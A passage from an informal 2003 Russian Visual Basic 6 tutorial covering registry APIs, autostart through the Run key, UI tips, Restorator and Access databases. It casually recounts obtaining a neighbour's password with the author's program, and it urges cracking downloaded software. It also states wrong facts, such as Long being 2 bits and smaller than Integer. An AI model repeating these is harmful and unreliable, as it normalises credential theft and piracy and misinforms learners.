SaveSetting "New Ключ", "Нью Подключ", "Строковой Параметр", "Строковое значение которое принемает параметр" 'Создаем ключ New Ключ(т.е. подключ), и подключ Нью Подключ, в подключе Нью Ключ создаем Строковой параметр, а в нем запись.
 End Sub

Private Sub Command2_Click()
'Удаляем
 DeleteSetting "New Ключ", "Нью Подключ", "Строковой Параметр" 'Если ты хочешь удалить сразу всю папку то впиши: DeleteSetting "New Ключ"
End Sub
Private Sub Command3_Click()
Text1.Text = GetSetting("New Ключ", "Нью Подключ", "Строковой Параметр")'Читаем в текстовое поле содержимое Строкового параметра
End Sub

Теперь в редакторе реестра нажнми Вид\Обновить, или просто F5.
Исходник

ШАГ 74:

Работаем с РЕЕСТРОМ с помощью АПИ:

Вот оно! То что нам надо! Теперь перейдем на нормальную работу с реестром. Ура! Открой VB(Standart EXE), создай там модуль и вставь туда этот код:

Public Const REG_SZ As Long = 1
Public Const REG_DWORD As Long = 4
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_USERS = &H80000003

Public Const ERROR_NONE = 0
Public Const ERROR_BADDB = 1
Public Const ERROR_BADKEY = 2
Public Const ERROR_CANTOPEN = 3
Public Const ERROR_CANTREAD = 4
Public Const ERROR_CANTWRITE = 5
Public Const ERROR_OUTOFMEMORY = 6
Public Const ERROR_INVALID_PARAMETER = 7
Public Const ERROR_ACCESS_DENIED = 8
Public Const ERROR_INVALID_PARAMETERS = 87
Public Const ERROR_NO_MORE_ITEMS = 259
Public Const KEY_ALL_ACCESS = &H3F
Public Const REG_OPTION_NON_VOLATILE = 0

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)
Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) 'Создание нового ключа
Public Function CreateNewKey(lPredefinedKey As Long, sNewKeyName As String)
Dim hNewKey As Long
Dim lRetVal As Long
lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)
RegCloseKey (hNewKey)
End Function

'Запись данных в ключ
Public Function SetKeyValue(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)
Dim lRetVal As Long
Dim hKey As Long

lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)

RegCloseKey (hKey)
End Function

Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long

Dim lValue As Long
Dim sValue As String

Select Case lType
Case REG_SZ
sValue = vValue
SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
Case REG_DWORD
lValue = vValue
SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
End Select

End Function

'Возвращает значения записанные в ключе(т.е. чтение)
Public Function QueryValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)

Dim lRetVal As Long
Dim hKey As Long
Dim vValue As Variant
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = QueryValueEx(hKey, sValueName, vValue)
QueryValue = vValue
RegCloseKey (hKey)

End Function

Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long

Dim cch As Long
Dim lrc As Long
Dim lType As Long
Dim lValue As Long
Dim sValue As String

On Error GoTo QueryValueExError

'Определение размера и типа считываемых данных
lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)
If lrc <> ERROR_NONE Then MsgBox "Данных (ключа) не существует!", vbExclamation, Form1.Caption
Select Case lType
'Для символьных
Case REG_SZ:
sValue = String(cch, 0)
lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)
If lrc = ERROR_NONE Then
vValue = Left$(sValue, cch)
Else
vValue = Empty
End If
'Для числовых
Case REG_DWORD:
lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)
If lrc = ERROR_NONE Then vValue = lValue
'Для остальных не поддержанных типов данных
Case Else
lrc = -1
End Select
QueryValueExExit:
QueryValueEx = lrc
Exit Function
QueryValueExError:
Resume QueryValueExExit
End Function

'Удаление значений ключа
Public Function DeleteValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)
Dim lRetVal As Long
Dim hKey As Long
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = RegDeleteValue(hKey, sValueName)
RegCloseKey (hKey)
End Function

'Удаление ключа
Public Function DeleteKey(lPredefinedKey As Long, sKeyName As String)
Dim lRetVal As Long
lRetVal = RegDeleteKey(lPredefinedKey, sKeyName)
End Function

Все, модуль сделали, и теперь про него можешь забыть. Теперь переключичсь на форму. На нее кинь 4 кнопки(у первой Caption = "Создать", у 2ой = "Запись", у 3ей = "Чтение", у 4ой и 5ой = "Удаление") и текстовое поле. Код:

Private Sub Command1_Click()
'Создание ключей
CreateNewKey HKEY_LOCAL_MACHINE, "VB6"
'Можно создать и подключи
'CreateNewKey HKEY_LOCAL_MACHINE, "VB6\RegistryKey"
End Sub

Private Sub Command2_Click()
'Запись
SetKeyValue HKEY_LOCAL_MACHINE, "VB6", "Proga", "Твои данные", REG_SZ
End Sub
Private Sub Command3_Click()
'Чтение
Dim Variable As String

Text1.Text = QueryValue(HKEY_LOCAL_MACHINE, "VB6", "Proga")
End Sub

Private Sub Command4_Click()
'Удаление данных из ключа
DeleteValue HKEY_LOCAL_MACHINE, "VB6", "Program"
End Sub

Private Sub Command5_Click()
'Удаление ключа
DeleteKey HKEY_LOCAL_MACHINE, "VB6"
End Sub

Вот в этом "маленьком" примере лежат самые основы реестра.
Исходник
Теперь сделаем программу которая будет записывать в святую святых РЕЕСТРА нашу программу(т.е. в подключ Run).

ШАГ 75:

Запись в святую святых Реестра:

Святая святых реестра это раздел Run, т.е. наша программа будет запускаться при запуске компа. Что нам для этого надо? Нам нужен Модуль который мы сделали в предыдущем шаге. Его ты можешь скачать Здесь. Чтобы подключить его нажми Проэкт(Project)>>Добавить файл(Add File). В появившимся окне выбери наш модуль. Теперь на форму кинь кнопку, при нажатии на нее путь к нашей программе попадает в святую святых реестра.
Для начала я скажу где хранится раздел Run - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run . Да, да сюда мы сейчас и будем записывать свою программу. Кстати, в этом же разделе есть 5-7 папок начинающихся на Run, они тоже сойдут(например RunOnce).Код(ТОЛЬКО НЕ ЗАБУДЬ МОДУЛЬ ПОДКЛЮЧИТЬ!!!!)

Dim q As String
Private Sub Command1_Click()
q = App.Path + "\proga.exe" 'Узнаем путь к нашей программе(App.Path), и прибавляем ее название(НЕЗАБУДЬ ЕЕ ПЕРЕИМЕНОВАТЬ В proga)
SetKeyValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Proga", q, REG_SZ 'Запись!
End Sub

Теперь немного объясню: Первой идет функция SetKeyValue, она нужна для записи(Ты что забыл?), потом главный ключ(HKEY_LOCAL_MACHINE), потом путь к объекту Run(SOFTWARE\Microsoft\Windows\CurrentVersion\Run), потом название строкового параметра(Proga), а потом путь к программе. Вот и все!
Исходник

ШАГ 76:

Полезные советы:

Не зная о чем писать, я решил тебе устроить маленький прогрузон, рассказать тебе множество моих советов, и может они тебе пригодятся.

1. Полноэкранный режим

Чтоб твоя программа была во весь экран необязательно использовать длинные API функции, можно обойтись и без нее.
Входим в VB(Standart EXE), у формы в свойстве BorderStyle - ставим 0 - None, в Form_Load пишем:
Private Sub Form_Load() 'При запуске формы:
Form1.Width = Screen.Width 'Ширина формы будет равна ширине экрана
Form1.Height = Screen.Height 'Высота формы будет равна высоте экрана
End Sub

2. Узнаем разрешение экрана

Слава мне!!! Я опять обошелся без API!!! На форму кидаем текстовое поле и кнопку. Код:

Private Sub Command1_Click() 'При нажатии на кнопку:
Dim width As String 'Объявляем переменную width как строковую
Dim height As String 'Объявляем переменную height как строковую

width = Screen.width / 15
height = Screen.height / 15
Text1.Text = width + "x" + height
End Sub

3. Делаем свое Меню

Здесь я не буду тебя грузить, скажу саму идею. На форму кидаем Frame. У него убираем свойство Caption, и него кидаем несколько меток. Это и будет твое меню. Сворачиваем фрейм до минимума, оставляем только одну метку, и при нажатии на нее фрейм должен разворачиваться до обычного размера, ну идею ты наверное понял, короче сделай так чтоб она была похожа на обычное меню. У тебя должна получится такая штука:

Достоинства этого меню: Ты можешь запихнуть туда картинку, поменять шрифт...

4. Запретить запуск двух копий программы

Хей перцы! Меня кто - нибуть слышит? Отлично! Тогда я тебе скажу одну полезную штуку, как надо запретить запуск двух копий программы, но не просто запретить, а и еще обасрать, чтоб в следующий раз юзер думал, а потом кликал!
Private Sub Form_Load()
If App.PrevInstance = True Then
MsgBox "Эй ламер поганый, ты что ослеп что ле, я уже запущена!!!",16,"Думай что делаешь!"
End
End If
End Sub

5. Послать строковое сообщение в любую другую программу

Ща я тебе покажу, как надо отсылать свои сообщения в любые другие программы. Тебе надо только указать заголовок той программы, куда ты хочешь отослать свой текст.
Private Sub Command1_Click()
AppActivate ("Безымянный") 'Здесь пишем заголовок программы (место Безымянный можешь написать WordPad, Установка связи...)
SendKeys ("Эй Блокнот - меня слышно?") 'Отсылаемый текст
End Sub

6. Узнаем имя своей программы

Очень часто(особенно когда в реестре прописываешь) надо знать имя своей программы. Ты скажешь: "А нафига? Я ведь ее назвал, и имя запомнил.". А юзер - то может ее и переименовать, для этого есть свойство ExeName у объекта App.

Private Sub Form_Load()
Text1.Text = App.EXEName + ".exe"
End Sub

7. Узнаем путь к своей программе

Иногда надо узнать полный путь к своей программе (например, чтоб прописать ее в реестре...), и для этого в VB есть свойство Path(Путь). На форму кинь Текстовое поле и кнопку.
Private Sub Command1_Click()
Text1.Text = App.Path 'В Текстовом поле появится путь к твоей программе
End Sub

8. Делаем автозапуск своей программы

Ты наверное заметил, что когда всуешь CD в CD - ROM, происходит Автозапуск. Если у тебя есть пишущий сидюшник, то это как раз для тебя, но если у тебя его нет, ты можешь сделать Autorun для диска C: например, или любого другого диска. Начнем! Я буду рассматривать на примере диска C:, т.к. не у всех сидюшник пишет, но точно также можно делать и для круглых дисков. В диске C: создай текстовой документ, в нем впиши:
[autorun]
open=1.exe
icon=1.ico
Здесь Open = путь к файлу,Icon = иконка для диска.
Сохраняй его как Autorun.inf(он должен сидеть в корневом каталоге диска(у нас C:\)). Входи в Мой комп, жми F5(обновить), и любуйся.

9. Окуратнее с Оператором DIM

Ты наверное заметил, что оператор Dim не обязательно писать пять раз, чтобы объявить пять переменных а можно написать так:
Dim QW1, QW2, QW3, QW4, QW5 As Long
Здесь мы объявляем пять переменных, но всели они будут Long? НЕТ!!! Первые четыре будут Variant, а только последняя будет Long. Если я тебе не говорил в чем разница между Variant, Long, Integer..., то слушай:
Variant - жрет памяти очень много, ее используют только начинающие VB программеры(если ты все еще используешь Variant - ТО СРОЧНО ПЕРЕХОДИ НА LONG!!!)
> Integer(8 бит) - Этот тип жрет памяти меньше чем Variant(она вроде 16 бит), но больше чем Long(2 бита).
Long - этот тип жрет памяти меньше всего, и ты если используешь другой, то переходи на него!!!
Это я говорю к тому, что если ты хочешь объявлять переменные в одну строчку, а не в пять, то пиши так:
Dim QW1 As Long, QW2 As Long, QW3 As Long, QW4 As Long, QW5 As Long

10. Аварийный выход

Иногда, бывает что программа виснет(очень часто это бывает когда цикл зацикливается). Короче, чтоб безопасно выключить программу надо нажать Ctrl + PauseBreak.

11. Переменные фиксированной длины

Иногда надо ограничить переменную до определенного количества символов, для этого при объявлении переменной нужно указать количество символов, до которых нужно ограничить переменную. Например:
Dim X As String * 3 'Ограничиваем переменную X до 3 символов
Private Sub Form_Load()
X = "123456"
MsgBox X 'Выдает 123
End Sub

12. Типы переменных

1. String - строковые переменные
2. Long - числовые переменные от -2147483648 до +2147483647
3. Integer числовые переменные от -32768 до +32767, работают медлее Long
4. Single - хранит дробные числа с точностью до 7 цифр, и длинной до 38 символов. Вычисления приблизительны
5. Double - хранит дробные числа с точностью до 16 цифр и длиной до 300 символов. Вычисления тоже приблизительны. Работает медлее Single.
6. Variant - данные любого типа
7. Byte - хранит целые числа от 0 до 255. Экономит оперативную память и размеры массивов.

13. Комментарии

Комментарии задаются ковычкой '
Также, можно использовать оператор REM
Dim x as Long: REM Объявляем переменную x

ШАГ 77

Инструкция With

Чтобы выполнить последовательность команд над одним объектом, не перечисляя его каждый раз, есть инструкция With. Не буду тебе о нем много говорить, а лучше покажу как пользоваться.
Private Sub Command1_Click() 'При нажатии на кнопку:
With Label1 Делаем инструкцию With для Метки
.Caption = "Сук" 'Меняем надпись
.FontSize = 14 'Меняем шрифт
.ForeColor = vbRed 'Меняем цвет
End With 'Завершаем инструкцию
End Sub
Теперь ты можешь не писать по десять раз имя объекта

ШАГ 78:

Использование своего курсора(обычного и анимационного):

Для использование своего курсора есть спец АПИ функция. Вот код:

Private Declare Function CopyCursor Lib "user32" Alias "CopyIcon" (ByVal hcur As Long) As Long
Private Declare Function LoadCursorFromFile Lib "user32" Alias "LoadCursorFromFileA" (ByVal lpMyFileName As String) As Long
Private Declare Function GetCursor Lib "user32" () As Long
Private Declare Function SetSystemCursor Lib "user32" (ByVal hcur As Long, ByVal id As Long) As Long
Private NewCur, OldCur As Long

Private Sub Form_Load()
NewCur = LoadCursorFromFile("c:\APPSTART.ani")'Там где необходимо запоминаем системный курсор и загружаем анимированный
OldCur = GetCursor()
OldCur = CopyCursor(OldCur)
SetSystemCursor NewCur, 32512

End Sub

Private Sub Form_Unload(Cancel As Integer)
If OldCur <> 0 Then SetSystemCursor OldCur, 32512'Выгружаем наш курсор и возвращаем стандартный
End Sub

А ты спросишь: "Где ani курсора достать?" Нажми F3 и впиши *.ani, и он должен в папке Windows найти 3 анимированных курсора.

ШАГ 79:

API - БЕЗ ДЕКЛАРАЦИЙ!!!

У меня для тебя хорошая новость - ТЕПЕРЬ ФУНКЦИИ API НЕ НАДО ДЕКЛАРИРОВАТЬ!!! Теперь можно скачать с моего сайта библиотеку wintlb. Подключив ее большинство API функций не надо декларировать(~700), и самое главное то, что функция, которую ты не будешь декларировать - МЕСТО ЗАНИМАТЬ НЕ БУДЕТ! Для ее подключения войди в Project/Referentces, жми Browse, ищи библиотеку, и подключай ее. Теперь можешь написать, например API для нахождения дирки винда (только без Declare...). Библиотеку качай с моего сайта.

ШАГ 80:

Проигрывание файлов любых ФорМатоВ:

Любая программа, даже крутая, без озвучивания будет не программа, а какая - то фигня, но VB сам не может проигрывать звуковые файлы, и для проигрывания звуковых файлов воспользуемся API функцией. На форму кинь 2 кнопки, и впиши код:

Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
'Чтобы воспроизвести файл:
Private Sub Command2_Click()
Call mciExecute("play 2.wav") 'Проигрываем файл 2.wav, он должен находиться в той же папке, где и сама программа(НИКОГДА НЕ ПИШИ ПОЛНЫЙ ПУТЬ - например c:\2.wav, - на вражеском компе, звуков не будет, т.к. комп будет искать на другом компе, в диске c:\ звуковой файл(а его там и нету), а если ты напишешь 2.wav, то он будет искать в той же папке, где и сама программа)
End Sub

'Чтобы закрыть файл:
Private Sub Command1_Click()
Call mciExecute("close 2.wav")
End Sub

При нажатии на 2 кнопку, издастся звук, при нажатии на 1 кнопку он остановится.
Здесь Исходник

Девятая часть

Автор учебника: Падре
Дата создания: 26 марта 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 81:

Компонент Microsoft Rich Textbox Control 6.0:

Этот компонент нужен для открытия больших файлов, ведь текстовое поле не потянет файл весом 50 - 60 KB, а разместив этот компонент, ты сможешь открывать большие файлы. установив галку на компоненте Microsoft Rich Textbox Control 6.0 у тебя на панели инструментов появится объект Rich TextBox. Но этот компонент нужен не только для этого, с помощью него можно в одном текстовом поле поместить текст с разным цветом, шрифтом... Вот например сейчас сделаем программу. На форму кинь 4 кнопки, 1 Rich TextBox.

Private Sub Command1_Click()
RichTextBox1.SelColor = vbRed ' Делаем цвет текста красный
End Sub

Privte Sub Command2_Click()
RichTextBox1.SelFontSize = 15 ' Меняем размер шрифта
End Sub

Private Sub Command3_Click()
RichTextBox1.SelItalic = 1 ' Делаем шрифт курсивный
End Sub

Private Sub Command4_Click()
RichTextBox1.SelBold = 1 ' Делаем шрифт жирный
End Sub

Ну что впечатляет? А в текстовом поле такого сделать нельзя. Исходник - Здесь

ШАГ 82:

PasswordChar:

Свойство PasswordChar нужно для скрытия в текстовых полях текста. Это как при соединение с инетом, в соединение пароль скрыт звездочками. Так и это свойство, делает тоже самое. На форму кинь Textовое поле. Код:

Private Sub Form_Load()
Text1.PasswordChar = "*"'Скрываем звездочками текст в текстовом поле.
End Sub

Вот в этом примере показано как скрывать пароли от Злых и Добрых дядек. Но есть одно НО, все скрытые пароли можно рассекретить с помощью спец программ. Если мне не веришь, то скачай вот вот эту программу(Хей! Она же на VB написана). Открой ее, и открой нашу программу. Теперь нажми на текстовое поле - звездочек нет! И чтоб этого избежать, у Билл Гейца не хватило ума, сделать программу(Даже я смог!). Эту программу мы сделаем через Шаг.

ШАГ 83:

Ловим нажатые клавиши.

Для ловки нажатых клавиш сделаем программу. На форму кинь кнопку(Caption = "", Enabled = False). Код:

Private Sub Form_KeyPress(KeyAscii As Integer) 'Событие KeyPress, если ты не забыл, действует тогда, когда нажата какая - нибуть клавиша
Command1.Caption = Command1.Caption + Chr(KeyAscii) 'Надпись кнопки = надписи кнопки + Chr(KeyAscii). KeyAscii - код нажатой клавиши, только он в Ascii кодировке. А с помощью функции Chr(про нее читай в 7 Шаге) мы переводим из Ascii в обычную кодировку. Если KeyAscii = 0 то сигнала от клавы нет.
End Sub

ШАГ 84:

Защита.

Принцип защиты будет прост - наеб...а(кто не понял, скажу по русски(хотя и там было по русски), я имел введу обман. Да, да, принцип защиты будет обман). Мы не будем пользоваться свойствами PasswordChar, а в Текстовое поле будем посылать свои звездочки. На форму кинь 2 текстовых поля(В Text1 будет все засекречено звездочками, а в Text2 без них(и свойство Text у них = "")). Код:

'
Private Sub Text1_KeyPress(KeyAscii As Integer) 'Если в Text1(т.е. должен курсор в нем мигать) нажата клавиша клавы то:
Text2.Text = Text2.Text + Chr(KeyAscii) 'Text2.text = Text2.Text + Нажатая клавиша(с помощью KeyAscii ловим нажатую клавишу, а с функцией Chr переводим ее из Ascii в обычную кодировку)
If KeyAscii = 8 Then 'Если юзер нажимает на BackSpace то:
KeyAscii = 8 ' Посылаем код нажатой клавиши BackSpace(т.е. стирается один символ из текстового поля)
Else ' Если юзер не нажал BackSpace, а нажал на другую клавишу то:
Text1.Text = Text1.Text + "*" 'К Текстовому полю 1 прибавляем звездочку(и теперь нас не одна хак программа не возмет(т.к. под звездочкой нет не каких символов))
KeyAscii = 0 'И не куда не посылаем сигнал нажатой клавиши(это чтоб в текстовом поле после звездочки не писались введенные в него(в текстовое поле(ты что забыл?)) символы)
End If
End Sub

ШАГ 85:

Программа Restorator:

Хоть это и к VB не имеет ни кокого отношение(хотя кто знает...), но все равно я решил, не пропадать же добру, о такой программе должен знать каждый. Эта программа нужна для изменения EXE и DLL файлов(а ты думал только на ассемблере можно такие вещи можно делать?). Короче скачивай ее с моего сайта, вместе с русификатором и кряком. Русифицируй и взламывай ее. Сейчас мы немного изменим калькулятор. Нажми Файл>>Открыть. В папке Windows ищи файл CALC. Нашел? Молодец! Теперь открой его. В правой части Restorator`a появилось все содержимое калькулятора. В папке Menu - хранится меню калькулятора, в Dialog - диалоги, в String всякие слова, обращения, в папке Icon - хранятся все иконки. В файлах есть еще и папка Bitmap, JPEG..., они хранят рисунки. Ну начнем, наши великие исправления! Для начала сменим Iconку. В 3-ем окне выбери диск C:
Ресторатор
Теперь открой папку Icon, там будет файл SC. Нажми на него правой кнопкой мыши, и поставь Извлечь как>>Извлечь как SC.BMP. Теперь в диске C: у тебя извлеклись несколько файлов BMP. Открой SC.BMP, и в нем что - нибуть подрисуй. Теперь из 3-его окна перениси файл SC.BMP в файл SC(он в папке Icon в 1-ом окне). Все, первое сделали(И у тебя всегда над исправленным объектом будет стрелка, как у ярлыка( Ресторатор)).
Теперь изменим меню. Включи Режим правки(Просмоторщик>>Режим Правки), выбери папку Menu, и файл 106. Там будет такая штука:
106 MENU
{
POPUP "&СПравка"
{
MENUITEM "&CКопировать\tCtrl+C", 300
Здесь я немного изменил раздел Правка(СПравка), и подраздел Копировать(на Скопировать). Тоже так измени. Нажми F8 чтобы принять изменения. Ну остальное сам меняй. Теперь сохраним. Нажми Файд>>Сохранить как, и выбери CALC.EXE, он тебя спросит: "Заменить?" Жми Да. Теперь войди в Пуск>>Программы>>Стандартные>>Калькулятор. Все что мы меняли, поменялось!

ШАГ 86:

Программа Restorator. Захват Иконок:

Т.к. у тебя скорее всего не хватает иконок и курсоров, то мы сейчас захватим все иконки и курсора, которые известны системе(у меня теперь 13327 иконок и курсоров). Для этого войди в Инструменты>>Захват Ресурсов. Поставь галки на "Иконки" и "Курсора". В двух текстовых полях впиши C:\
Ресторатор
Жми на кнопку "Захват Теперь", и жди. Когда все иконки и курсора будут захвачены, заходи в диск C:, и там ты увидишь 2 папки Icon и Cyrsor.

ШАГ 87

Базы Данных - Начало

Ну как я и говорил, что база данных это любой текст, который где - то хранится. У МелкоСофта есть спец программа, для создания баз данных. Ты скажешь: "Мне это не надо, и я не буду читать этот глупый шаг, т.к. на хрен мне нужно где - то хранить текст, с помощью каких - то программ, когда я могу сделать программу, которая будет сохранять текст в текстовой документ". Нет ты не прав, т.к. в текстовой документ, больше 40 KB не поместится, но это не важно. В базах данных можно хранить картинки, упорядоченный текст..., а в текстовом документе таково ты не когда не сделаешь. Для их создания нужна программа Access, она входит в пакет МелкоСофт Офис (это где Word, Exel), а это есть почти на каждом системнике. Т.к. у меня Office 97,и Access соответственно старый (в Office 2000 наверное другие панельки, но смысл один и тот же).

ШАГ 88

Создание первой БД (База Данных)

Войди в Access, перед тобой появится окно:

Поставь переключатель на Новая БД, и нажми на ОК (или нажми на Файл/Создать БД, у тебя появится окно "Создание", в нем выбери значок Новая БД, и нажми ОК). У тебя откроется окно "Файл Новой БД", нажми создать.

Теперь у тебя на винте создался файл (у меня в Моих Документах), где будет все храниться. Потом появляется еще одно окошко.

Для начала ты научишься создавать таблицы, и для этого в кладке Таблицы нажми Создать, в появившимся окне (Новая таблица), жми на Режим таблицы. Все Table создана! В поле 1 впиши padre03@mail.ru, в поле 2 впиши padre.narod.ru. Теперь удаляй все лишние столбцы, и сохраняй.

При сохранении появляется окно (Сохранение, в нем будет текстовое поле, там по умолчанию вписано Таблица, оставь ее, и не чего не меняй), нажимай на ОК. Появляется ошибка (Ключевые поля не заданы), жми Да. Все, свою первую БД мы создали, а толку от нее нет, т.к. от нее пользы ни какой нет. А чтоб была польза, создай новый проект(Standart EXE), на форму кинь 2 метки, 2 текстовых поля, и объект Data( [image]), этот объект нужен для связи с Базой. У объекта Data, свойство Caption = "БД". У первой метки Caption = "Я напишу на:", у второй = "Я нажму на банер на:" .Написал? Молодец! Теперь выполняй (ЖМИ НА БАННЕР!!!) Вот что у тебя должно получиться:

Получилось? Отлично! Теперь присоединим к нашему проекту, БД. Для этого выдели объект Data, и в свойствах 2 раза кликни по DatabaseName, в окне открытия файлов выбери свою базу, и кликни открыть, в свойстве RecordSource выбери Таблица. Теперь подсоединим Базу к текстовым полям. У Text1 в свойстве DataSource выбери Data1,и в DataField = Поле! (это то где мы вписывали мой E -Mail). У Text2 - DataSource = Data1,DataField = Поле 2.И если ты изменишь текст в текстовых полях, то он автоматом сохранится в базу. Отлично! Ты сделал свою первую Базу. Yes!!!

ШАГ 89

Подключаем Базу программно

В предыдущем шаге мы подключали Базу автоматом (т.е. без кода), но у этого способа есть 1 недостаток, его нельзя переносить на другие компы. Вот случай был, я сделал программу Халявный инет (шаг 43), только пароль введенный одним ламером, который живет надо мной, записывался не в файл, а в базу. А я в начале даже и не подумал о том, что базу надо подключать не автоматом, а в ручную (автоматом не понятно почему глючит, но т.к. я по базам не спец, я не знаю (если ты знаешь, то пиши)). Ну, у ламера мы пароль узнали, только с помощью OpenPass и дискеты. Что - то я отвлекся, сделай такой же проект (как предыдущий), но ни чего не настраивай, а впиши код:
Private Sub Form_Load() 'При запуске формы:
Data1.DatabaseName = "db1.mdb" 'Ищем базу в той же дирке где и сама программа
Data1.RecordSource = "Таблица1" 'Имя таблицы, для доступа к ней
Text1.DataField = "Поле1" 'В Text1 из Поле1 будет загружаться текст
Text2.DataField = "Поле2" 'В Text2 из Поле2 будет загружаться текст
End Sub
Как ты наверное заметил (Или нет?), что мы у текстового поля не указали свойство DataSource, это единственное свойство которое нельзя указать программно. Ну раз нельзя, так нельзя - тогда поставь его в окне свойств = Data1. Исходник - Здесь

ШАГ 90

Задание по БД

Твоя цель расширить базу (под моим E - Mial`om и сайтом впиши что - нибуть), на форму кинь еще текстовое поле(Text3.DataField = "Код"), оно будет считать строки. Ну короче сам разбирайся! Исходник - Здесь

Десятая часть

Автор учебника: Падре
Дата создания: 3 апреля 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Программирование на VB


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 91

Убираем эту уродскую Data

Почему злой дядька Билл Гейц сделал такую уродскую Data? На этот вопрос может ответить только он сам, но к счастью у Date есть несколько свойств, и c помощью них можно заменить Data, на свои кнопки. Для этого усовершенствуем программу, которую ты сделал на 70 шаге. У объекта Data свойство Visible = False, это чтоб ее скрыть, на форму кинь 4 кнопки. У 1 - ой кнопке свойство Caption = "<", у 2 - ой = ">", у 3 - ей = "|<", у 4 - ой = ">|".
Private Sub Command1_Click()
Data1.Recordset.MovePrevious 'Предыдущая запись
If Data1.Recordset.BOF Then Data1.Recordset.MoveNext 'Тут, если дошло до самой первой записи, и ты еще 2 раза нажмешь на кнопку, то выскочит Error, и чтобы этого не произошло, мы каждый раз, когда запись равна первой, и ты еще раз жмешь на кнопку, сдвигаем ее в перед.
End Sub

Private Sub Command2_Click()
Data1.Recordset.MoveNext 'Следующая запись
If Data1.Recordset.EOF Then Data1.Recordset.MovePrevious 'Здесь все тоже самое, только наоборот
End Sub

Private Sub Command3_Click()
Data1.Recordset.MoveFirst 'Первая запись
End Sub

Private Sub Command4_Click()
Data1.Recordset.MoveLast 'Последняя запись
End Sub
Исходник - Здесь Теперь научимся Удалять и создавать новые записи.

ШАГ 92

Создание & Удаление записей

Для добавления & удаления записи усовершенствуем наш проект (см. выше), добавь туда 2 кнопки, у 1 свойство Caption = "New Запись", у 2 - ой = "Del Запись". Код:
Private Sub Command5_Click()
Data1.Recordset.AddNew 'Добавляем запись
End Sub

Private Sub Command6_Click() 'Последняя запись
'чтобы выполнить последовательность инструкций над
